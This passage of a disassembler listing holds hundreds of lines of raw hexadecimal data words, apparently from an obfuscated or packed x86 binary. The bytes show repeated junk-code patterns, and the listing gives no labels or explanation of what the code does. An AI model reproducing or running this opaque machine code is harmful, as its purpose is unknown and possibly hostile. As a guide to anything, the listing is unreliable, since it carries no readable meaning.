4A3A4ABFh, 0FC90A62h, 12C84h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 0F8EF5234h, 0E942515Bh, 0Dh, 0B51D7843h, 11DF2BF3h dd 0D052C7F5h, 359D8B94h, 8B05EA2Ch, 0EA162985h, 56006A05h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 97B38893h, 95896665h, 5EA0729h, 15358533h, 0BD2905EAh dd 5EA2AF1h, 50905B57h, 13E860h, 22630000h, 31D37626h dd 4E3D9FD6h, 5A9A24Fh, 85C631E3h, 83FB8BBh, 0F586D22h dd 688h, 8A0F00h, 61000000h, 5858990h, 8905EA2Fh, 0EA1E4585h dd 68006A05h, 8E5B7A66h, 14E960h, 0E8CC0000h, 0AF1B6D09h dd 43A90852h, 280FBCFBh, 58150E88h, 81612463h, 89992404h dd 9D8B71C3h, 5EA2E5Dh, 320D95FFh, 89F905EAh, 0EDD9E085h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 0E962EF1Ch, 1EEh, 17850Fh, 10E80000h, 9D000000h dd 0CE9EEB77h, 85EE6119h, 2D1C8ED3h, 0F99EC8F7h, 0D8858B5Fh dd 6A05EDD9h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 0A7FBC356h, 0C7D4B737h, 1800h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 1BE83E56h, 9A12F958h, 98EB8166h, 0DCB58B6Ch dd 8B05EDD9h, 0EA13319Dh, 0E5858B05h, 6005EA29h, 2391BD89h dd 9D8B05EAh, 5EA2935h, 830F61h, 89000000h, 858BF506h dd 5EA1629h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 1DC35545h, 41B6AFBFh, 0FEB4F739h, 11E8h, 9C266800h dd 21C61574h, 25DA2134h, 0C943D7A2h, 5FF82D68h, 2B61BD31h dd 468905EAh, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 74549A67h, 0E496CC4Dh, 0ED8D8958h dd 9605EA25h, 0DA8B6650h, 2DBD8996h, 0FF05EA17h, 0EDD9D8B5h dd 51006A05h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 0EA8F7751h, 187B252Dh, 86A6683Eh, 5F52C55Ah dd 59240481h, 663AC47Dh, 8DF32DBFh, 0EDD9E085h, 5E905h dd 0E3190000h, 509DBA65h, 7E9h, 60ED5500h, 1499094Ch, 6A240489h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 0F8CCC356h, 13E9h, 40076000h, 617301EBh dd 2AE897C0h, 8CF76CAh, 0D420B69Ch, 320D95FFh, 6A05EAh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 225338C3h, 0DA8B9EB6h, 12E8h, 76ED100h, 0F32840CEh dd 4C5E7E2Ch, 4C070C2Fh, 8BFAA286h, 0F615BDAh, 85C7D8BFh dd 5EA25F5h, 3, 0BD83FD8Ah, 5EDD9E0h, 41840F00h, 66000000h dd 0E0B4EF81h, 52E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 34A7E244h, 11E89Fh, 1710000h dd 536BE0B9h, 5724DD07h, 0C54C5C37h, 5F085EE2h, 110C3050h dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 8BC08B00h, 0EA118DBDh dd 21B58905h, 6A05EA2Eh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 49ECC353h, 0ACDEC0D2h dd 568D120Ah, 2E3D9D0Bh, 0F5B05EAh, 0BD83F9BFh, 5EA25F5h dd 82850F03h, 6A000004h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 0F89AC356h, 0D9E0BD83h dd 0F0005EDh, 45884h, 12BB6600h, 0E0B5FFAAh, 6A05EDD9h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 2D73C353h, 63A5C3D4h, 128D95FFh, 6A05EAh dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 0ABD475C3h, 607826FCh, 2CC1B533h, 0BD8905EAh, 5EA2F51h dd 0D4B58B61h, 8905EDD9h, 0EA1C85BDh, 106C705h, 6A000100h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 0B109C353h, 0E92CEBFDh, 12h, 1CC88515h, 24CD2547h dd 0AAD64287h, 0B6296467h, 8166440Bh, 969414CFh, 13E9h dd 66924400h, 9A4ECE8Dh, 9AD28B65h, 0ACD2BDD1h, 0D5AAACFEh dd 0F98B6650h, 57006A96h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 4C2658D2h, 448DD497h dd 5BF88B51h, 0D9E0B5FFh, 6A05EDh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 0B3B858C3h, 0BD01C247h dd 5EA06B1h, 326995FFh, 6A05EAh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 9748AFC3h, 0EC8531A0h dd 14E9C2h, 39260000h, 56168C9Eh, 93A20957h, 15ECE685h dd 0CD5A4E8Eh, 0B58B9E93h, 5EDD9D4h, 858BDF8Bh, 5EA0881h dd 2E398D89h, 868905EAh, 0C4h, 0ADD958Bh dd 6A05EAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h db 2 dup(0) word_594F42 dw 5343h ; DATA XREF: ___:off_438138o dd 0EFCB69C3h, 83CC179Bh, 6A04C2h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 0BD89B8C3h, 5EA2939h dd 8B205089h, 0EA129DBDh, 67858D05h, 6A05EDEBh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 5448C351h, 3BCAA122h, 0E59D890Fh, 8905EA05h, 0B886h dd 69BD8900h, 6A05EA2Ch, 0D9BF0F00h, 0D9E0B5FFh, 6A05EDh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 16E5B4C3h, 163D95FFh, 6A05EAh, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 0F89CCAC3h, 0E6BF727Eh dd 9631C570h, 0B8A0F60h, 0E9000000h, 6, 0EE801345h, 12E9D9F6h dd 0CD000000h, 0E0D719BCh, 65C4AD99h, 0D26EE275h, 0DBDF157Fh dd 665061CFh, 6A96DA8Bh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 215AC355h, 81BD8900h dd 8105EA14h, 6AC93AEFh, 0E0B5FF73h, 6A05EDD9h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 8C6FC356h, 8B663691h, 0A995FFFBh, 8305EA15h, 0EA115DBDh dd 840F0005h, 4Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 0C35343h, 16E60F5Ah, 870F1F38h, 3, 50DEBF0Fh dd 0FE8h, 9A2CCF00h, 0B999442Bh, 0BB64E988h, 6687C846h dd 0FE3CBB66h, 2434895Fh, 58C78166h, 0E0B5FF6Eh, 6A05EDD9h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 2C21C355h, 4B32C424h, 8D9D33C9h, 6605EA0Bh dd 95FFDE8Bh, 5EA1CC9h, 8CD8D89h, 0B5FF05EAh, 5EDD9E0h dd 9770CB81h, 95FF3B7Dh, 5EA230Dh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 1EC35646h, 4DE5F59Fh, 9D2B7433h dd 5EA09D1h, 631BD83h, 0F0205EAh, 6384h, 12E900h, 42370000h dd 0F6781626h, 25E66C73h, 417ADE66h, 0B1465295h, 0C95858Bh dd 6A05EAh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 0B42AEAC3h, 4A26063h, 0C6FCF0DFh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 8592FDC3h, 97D85C7h, 5EAh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 7225EAC3h dd 31B38189h, 0EA0BC585h, 0F31DE905h, 6AFFFFh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 9F0F89C3h, 9E9h, 0B25D7400h, 0F42F84F8h, 0C18BBBC9h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 56C35646h dd 2EF7E3A3h, 298D858Dh, 0A1BF05EAh, 502F286Dh, 48997B7h dd 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 6D16D5AAh, 0B784BA32h, 0F9006A6Ch, 9D0B006Ah dd 5EA2079h, 496D858Dh, 6A05EFh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 2AB12CC3h, 0F605DA9h dd 8166F2B7h, 6172E5D1h, 83F88B66h, 0BE805C0h, 0E0000000h dd 1EF9CCDEh, 0FE86E03Eh, 9D8B04C6h, 5EA3285h, 0E852905Bh dd 10h, 13A3C627h, 5C8487C6h, 5BBD10CBh, 0A984524h, 5F5B5F57h dd 90D98B50h, 3880Fh, 8B660000h, 6A006AD8h, 0FF44B300h dd 0EA23E995h, 0D1B58905h, 0F05EA05h, 8D8DDFBFh, 5EDD89Dh dd 2870Fh, 30B30000h, 23D1B501h, 0D1FF05EAh, 75BFA4B3h dd 8319BEDDh, 0EA02D1BDh, 850F0105h, 8Eh, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Bh, 0A1C35242h, 0BA526115h dd 6A2F7A24h, 57006A02h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 36D2527h, 0EA0981BDh, 4895005h, 0FFDE8B24h dd 0EA163D95h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 0D7816641h, 13E9A114h dd 34000000h, 0A2986D74h, 0C3D1A80Ch, 0BB0D6C50h, 5FD72E09h dd 0CEE9575Fh, 0E800000Dh, 0 dd 77ED815Dh, 6A05EF49h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 0D6CBC353h, 0A64EC281h dd 80CF9A58h, 0BB66A1DFh, 858D4737h, 5EDC387h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 5CC35242h, 9B32F482h dd 35BD8B48h, 9005EA07h, 0C244BB66h, 9055B350h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0E4C35242h, 0A4A134A1h dd 53C924Ah, 6820FD8h, 89000000h, 0EA11099Dh, 35FF6405h dd 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 6CC35646h dd 0F78111F7h, 1C8F0903h, 258964h, 0F000000h, 185h, 9D8BF800h dd 5EA13D1h, 1C4985FFh, 6A05EAh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 87991AC3h, 0F1858921h dd 6A05EA1Eh, 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 23345BEDh, 0F88B664Bh, 0B5FFD88Bh dd 5EA0D95h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 0E3C35242h, 53E41F5Eh, 56392Eh, 29F98509h, 95FF05EAh dd 5EA1449h, 107E9h, 0F00B000h, 70E6DAB7h, 1A7D9D8Bh, 71E405EAh dd 29819D8Bh, 613C05EAh, 0EA830Fh, 85890000h, 5EA1565h dd 66C8B60Fh, 840FDF8Bh, 0Eh, 9E9h, 6842D900h, 86C80F5Ch dd 6BA9816h, 8B000000h, 0EA0BF99Dh, 0A9B50905h, 8B05EA13h dd 119D8BC1h, 0C105EA0Ch, 11E904E8h, 0B4000000h, 7C8A89EDh dd 10819424h, 0DFE46BD3h, 3191E110h, 89E2F766h, 0EA10559Dh dd 8BC82B05h, 8BD18BDEh, 3E4ABFFBh, 7DE9195Eh, 0E8000000h dd 0Fh, 0CC21EE45h, 71CE262Ah, 35D3FAD3h, 891DDF07h, 0EA1DD1B5h dd 8BFC5B05h, 5F4C4C85h, 7C08350h, 0C327D381h, 0C083763Bh dd 11BD8B00h, 3B05EA07h, 0E830FD0h, 0F000000h, 39E9D9B7h dd 1000000h, 0EA202DBDh, 0FF8D8B05h, 1FFFFFFh, 0EA23D5B5h dd 1E18305h, 1E840Fh, 0F600000h, 0C38BC2B7h, 0FFA58361h dd 0FEFFFFFFh, 49EB8166h, 4C958919h, 0E9505F4Ch, 0 dd 0C2F4B58Dh, 6A05EEh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 844FC0C3h, 83DD7464h, 6A006AE7h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 0CA11C353h, 7D09580Bh, 0F7C13A1h, 689h, 71858900h dd 0FF05EA32h, 0EA101595h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 2B69DB71h dd 8BCCDC2Dh, 0EA15559Dh, 0EFEB905h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 0FF98FC3h dd 15958950h, 5F05EA13h, 0BBFCE183h, 22738ADCh, 11E9FCh dd 1B890000h, 5D05AB0Bh, 0E74499D9h, 0A6AFEF5Fh, 0B88D77AFh dd 0 dd 0C1858B60h, 2B05EA2Ah, 0EA0C5595h, 0D22B6105h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 5EC35242h, 76EE00BCh dd 0CE9840Bh, 0B000000h, 7A758D97h, 59C11736h, 2342DC7Bh dd 0EA1E89BDh, 0C233AD05h, 0D003E8D1h, 7504E983h, 56006AF4h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0E66D82D7h, 0F2256A44h, 8B66EDB8h, 880DFAh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0F9B697C3h, 0F330F5D0h, 8B663B34h, 0DD958BFAh, 6A05EA0Ah dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 0F3BDC353h, 0C7956493h, 8D8BF932h, 5EA0ACDh dd 0E1EDBF66h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 6A5818h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 23AEFCC3h, 0FAB70F05h, 1CC59D03h, 6A05EAh dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 0D3BB9AC3h, 0F4A517Dh, 283h, 83D0B700h, 0EA0819BDh dd 840F0005h, 92h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 0C4C35747h, 19E98E9h, 0EA14CD85h, 0B1B58905h dd 0B805EA07h, 0 dd 0CBA0DB81h, 8D8D3E4Bh, 5EA4C21h, 0BE860h, 0D9520000h dd 0D59723A0h, 4E59FAF1h, 8F0FF3h, 5B000000h, 0D59D2B60h dd 6105EA06h, 6AE1FF61h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 32B2C353h, 16B9EF99h dd 996E4B99h, 8870Fh, 870F0000h, 2, 0BD835B50h, 5EA25F5h dd 62840F00h, 60000004h, 3161BD8Bh, 61FC05EAh, 25F5BD83h dd 0F0105EAh, 46784h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 71B3E298h, 0BE8261Eh dd 0F7000000h, 0C670F1ABh, 0D1662E96h, 8B667851h, 0BD895BF8h dd 5EA0D51h, 25F5BD83h, 0F0305EAh, 3E986h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 343B1B7h, 0F55377BCh, 8C66605Fh, 4E180D9h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0A4C35141h, 0E0AC5C97h dd 1E860064h, 2975BD09h, 0C90A05EAh, 167840Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 27A5FFC3h, 0CCCC6300h, 0BD8B5067h, 5EA2505h, 6185895Fh dd 8B05EA0Fh, 0EA162985h, 3310B705h, 0EA153585h, 53006A05h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 25B356AAh, 50FC2BA1h, 89DA8B66h, 9D332404h, 5EA1111h dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h dd 55450000h, 0C5D593C3h, 0A8DDE311h, 14E9h, 0AA46100h dd 0D4A184FAh, 0B6F15927h, 0D80D83A3h, 940BE6DAh, 4E8FEh dd 3FF0000h, 0BE9001Fh, 0BC000000h, 11F3FB98h, 6A1E0D21h dd 0E9500A07h, 12h, 1486E67Fh, 10A3FDB9h, 41DD92A5h, 24A33116h dd 448B948Dh, 18B70424h, 0FE8B008Bh, 4244489h, 850Fh, 6A580000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 9B41C352h, 668BFFB1h, 9D23F88Bh, 5EA0351h dd 320D95FFh, 6A05EAh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 89255EC3h, 0EDD9E085h, 9E805h, 0C3460000h dd 0D326B9DFh, 33D689A1h, 0EA330D9Dh, 0BF665F05h, 0C9E97329h dd 8B000001h, 0EA1CDD9Dh, 0D8858B05h, 3305EDD9h, 0EA0A299Dh dd 1800C705h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 5C7AC351h, 0B1A725E1h dd 15218589h, 0BF6605EAh, 0B58B10ECh, 5EDD9DCh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0E4C35242h, 0F0166E3Eh dd 816652A7h, 8B23A6E7h, 0EA29E585h, 0FA8B6605h, 7E80689h dd 81000000h, 40EA5856h, 8531C1B4h, 5EA31B5h, 29858B5Bh dd 0F05EA16h, 38Fh, 5FF85700h, 1044689h, 0EA17E99Dh, 7E95005h dd 87000000h, 90B1D280h, 3489DA92h, 39858924h, 0FF05EA2Fh dd 0EDD9D8B5h, 0F2B46005h, 0C5E28166h, 4E861F1h, 0FF000000h dd 60001F03h, 797AB966h, 11E9h, 0A21CB500h, 730097A8h dd 7783EDB6h, 35304701h, 5061EE66h, 8BFA8B66h, 0BB042444h dd 309D373h, 5250008Bh, 0CE9h, 29D2A800h, 4C94A1C4h, 3214E11Dh dd 0F310FFBh, 286h, 5A5B5600h, 24448958h, 48C0F04h, 66000000h dd 588E6ABBh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 0B5C35040h, 6510E36Eh, 9D8BF289h, 5EA2051h, 0D9E0858Dh dd 6A05EDh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 1A3CB9C3h, 0A221F6Ch, 0E8B7F108h, 9, 0C06F4194h dd 7B0BCB95h, 0DEB70FF6h, 850F505Bh, 5, 40FBB7BBh, 24048957h dd 0FFFEB70Fh, 0EA320D95h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 916F9890h dd 95895261h, 5EA00E1h, 0F585C75Bh, 305EA25h, 9000000h dd 0EA1B6185h, 0E0BD8305h, 5EDD9h, 3C840Fh, 7E90000h, 65000000h dd 76DE8A23h, 46E918BBh, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0A98DC353h dd 0B2DA8160h, 8B4C48DCh, 0EA16E985h, 30506105h, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 619D8BC0h dd 6005EA10h, 10E9h, 736CCE00h, 0ABDDCCE2h, 0DF48E7A7h dd 0E256BB54h, 65BD8911h, 6105EA09h, 8C0Fh, 0BD830000h dd 5EA25F5h, 0AF850F03h, 6A000003h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0DEBDC351h dd 0F155FE07h, 9B6A7Ah, 2515B589h, 858905EAh, 5EA2325h dd 0D9E0BD83h, 0F0005EDh, 37184h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 5D9D8990h dd 6605EA02h, 0D77AD781h, 0D9E0B5FFh, 0BD8905EDh, 5EA0D6Dh dd 128D95FFh, 6A05EAh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 0ACA6DAC3h, 81666A72h, 8B5653DBh dd 0EDD9D4B5h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 0F2D38155h, 0C744634Eh dd 1000106h, 0E7816600h, 52968213h, 13E9h, 79376A00h, 13AF42F6h dd 0C56A6452h, 7A964A70h, 0BD86F1C9h, 8B66505Bh, 9D8B96FAh dd 5EA123Dh, 0D9E0B5FFh, 0B52905EDh, 5EA0CE9h, 326995FFh dd 6A05EAh, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 0CE2733C3h, 0D2C5FC20h, 8BFBB70Fh, 0EDD9D4B5h dd 0D9BD3305h, 8B05EA1Bh, 0EA088185h, 50006A05h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 7DF2A8D7h, 8B1EBCDCh, 0E853023Dh, 8, 366A9772h, 0C683C607h dd 112D8D29h, 5F5F05EAh, 0C48689h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0E00C7AC3h dd 9D25D784h, 0E9FA5591h, 5, 20DFB426h, 0DD958BA7h, 6A05EA0Ah dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 0FC7FC350h, 5C22EBAh, 11DBD8Bh, 0C28305EAh dd 71858904h, 8905EA12h, 858D2050h, 5EDEB67h, 0B88689h dd 0BF0F0000h, 6860FF8h, 8B000000h, 0EA3095BDh, 29006A05h dd 0EA102185h, 0E0B5FF05h, 8905EDD9h, 0EA06658Dh, 3D95FF05h dd 0BF05EA16h, 6E09C985h, 0C88A6096h, 53575061h, 0AE8h dd 47C6A00h, 22E3E081h, 5FE624A6h, 66965F5Bh, 0B5FFDA8Bh dd 5EDD9E0h, 2325BD8Bh, 9D8B05EAh, 5EA2E2Dh, 15A995FFh dd 6A05EAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 31E4A3C3h, 0EA1C4DB5h, 0BD78005h, 115DBD83h dd 0F0005EAh, 6584h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 0B942106Ah, 851FC5E3h dd 8D01008Ah, 5EA3139h, 2BB76050h, 0BE8h, 0EF368200h dd 0F0DEBC1Ch, 0B3E37Fh, 615ADD8Ah, 6A243489h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 4EE6C357h, 0B5FF9742h, 5EDD9E0h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 8C35747h, 1ED1BD76h, 0A6A51C86h dd 0C995FF25h, 8105EA1Ch, 33EA1EDBh, 0E0B5FF05h, 6A05EDD9h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 1158C356h, 9E93698h, 0D9000000h, 9FFBB422h dd 256E1F88h, 230D95FFh, 8B6605EAh, 31BD83F9h, 205EA06h dd 30840Fh, 0BF0F0000h, 95858BFAh, 8B05EA0Ch, 0EA130D9Dh dd 0C605h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 37C35242h, 85C7D0D1h, 5EA097Dh, 0 dd 0A35BD8Bh, 50E905EAh, 60FFFFF3h, 0EE1B58Bh, 8B6105EAh dd 0F5BD89C1h, 8B05EA2Ah, 0EA0B559Dh, 8D858D05h, 3105EA29h dd 0EA0F1D9Dh, 6800F05h, 8B000000h, 0EA0C459Dh, 0BB665005h dd 489FED2h, 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 6A006A23h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 0E83AC356h, 3C98E737h dd 8B9FE34Bh, 8B006AFBh, 0EA2A1DBDh, 0FD9D8B05h, 8D05EA0Eh dd 0EF590485h, 89BD8B05h, 8305EA00h, 6A05C0h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0C121FDC3h dd 0BD9D8B03h, 5005EA11h, 0CE8h, 0B8117800h, 9B42EA02h dd 6B469CB8h, 4895BC9h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 8F0FD158h, 6, 2619D89h dd 858905EAh, 5EA1D9Dh, 0B70F006Ah, 6A006ADBh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 0A641C353h, 410E5CD9h, 95FF5D21h, 5EA23E9h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 91C35141h, 0A3069DF8h dd 0CF6B0CD3h, 2CF58589h, 9D8905EAh, 5EA002Dh, 0D89D8D8Dh dd 8B6605EDh, 12E9F9h, 2A1C0000h, 7C573356h, 0E41F5EE3h dd 56392E53h, 53E2F800h, 83F8D1FFh, 0EA02D1BDh, 850F0105h dd 49h, 5A5BD2Bh, 26A05EAh, 4DC38166h, 8AB790C2h, 905F5250h dd 1295B529h, 950105EAh, 5EA31A9h, 163D95FFh, 6A05EAh dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 893C13C3h, 0EA09BD9Dh, 0DF3E905h, 0E80000h, 5D000000h dd 590EED81h, 6A05EFh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 52A0A2C3h, 89573FA3h, 0EA2AC1BDh dd 8D895F05h, 5EA11ADh, 3319D8Bh, 6A05EAh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 0E85CB3C3h dd 92E38179h, 8D74F498h, 0EDC38785h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 0D49B9EAEh dd 16870Fh, 11E90000h, 75000000h, 8E1694C3h, 83F99B09h dd 554417E3h, 202857BFh, 7E890h, 4CFA0000h, 2F31EA0Bh dd 5FFE8ADBh, 0F525050h, 5AFA8B31h, 6E89058h, 0F9000000h dd 22BB1079h, 0FD9531CEh, 5B05EA05h, 35FF64h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 3F79C356h, 0B1A86CDDh, 0BDBD8B4Eh, 6405EA00h dd 2589h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 91DFABC3h, 0BCB80A7h, 1C4985FFh dd 0F98B05EAh, 25559D8Bh, 0FF6A05EAh, 8050F7B7h, 0FF5BC2CFh dd 0EA3151B5h, 4995FF05h, 0E905EA14h, 150h, 89DFBF0Fh dd 0EA25D585h, 6600B005h, 55CC781h, 0C38170E6h, 47BF543Dh dd 8FDBD8Bh, 71E405EAh, 12199D2Bh, 613C05EAh, 122830Fh dd 8D890000h, 5EA2EC9h, 50C8B60Fh, 1565FF8h, 0EA31699Dh dd 6BA5B05h, 8B000000h, 0EA1D51BDh, 0BA666005h, 8C0F8D7Fh dd 4, 0D774B966h, 8BC18B61h, 0FE9F8h, 698B0000h, 0BF8F72FBh dd 49D03DA1h, 0E690A55Eh, 4E8C141h, 17118D89h, 0F76605EAh dd 0F8BF0FE2h, 830FC82Bh, 6, 16B58D29h, 0D18B05EAh, 5E8h dd 9AA37F00h, 95894718h, 5EA31A9h, 0A6E95Fh, 0BD330000h dd 5EA0D21h, 554C858Bh, 0DC8A4947h, 6007C083h, 0EFDF8166h dd 0BE83Eh, 88F80000h, 0C01150FEh, 87548BE7h, 18D89B2h dd 5805EA10h, 0C08361h, 3BFFB70Fh, 2E830FD0h, 60000000h dd 1850Fh, 8BF90000h, 0EA303D85h, 55E96105h, 0F000000h dd 1480h, 0EE800h, 3A00000h, 0CAFA384Bh, 518E6E26h, 1D708E9Fh dd 0FF8D8B5Fh, 0E9FFFFFFh, 0Ah, 2330C52Ah, 0CCAEAFA7h dd 0E183CE29h, 1D840F01h, 0F000000h, 0A583F8B7h, 0FFFFFFFFh dd 1A5CBFFEh, 95896E39h, 4947554Ch, 0E9FA8B66h, 0 dd 0D1F2B58Dh, 952905EEh, 5EA2B0Dh, 6A006Ah, 3E856h, 5E200000h dd 74895EC3h, 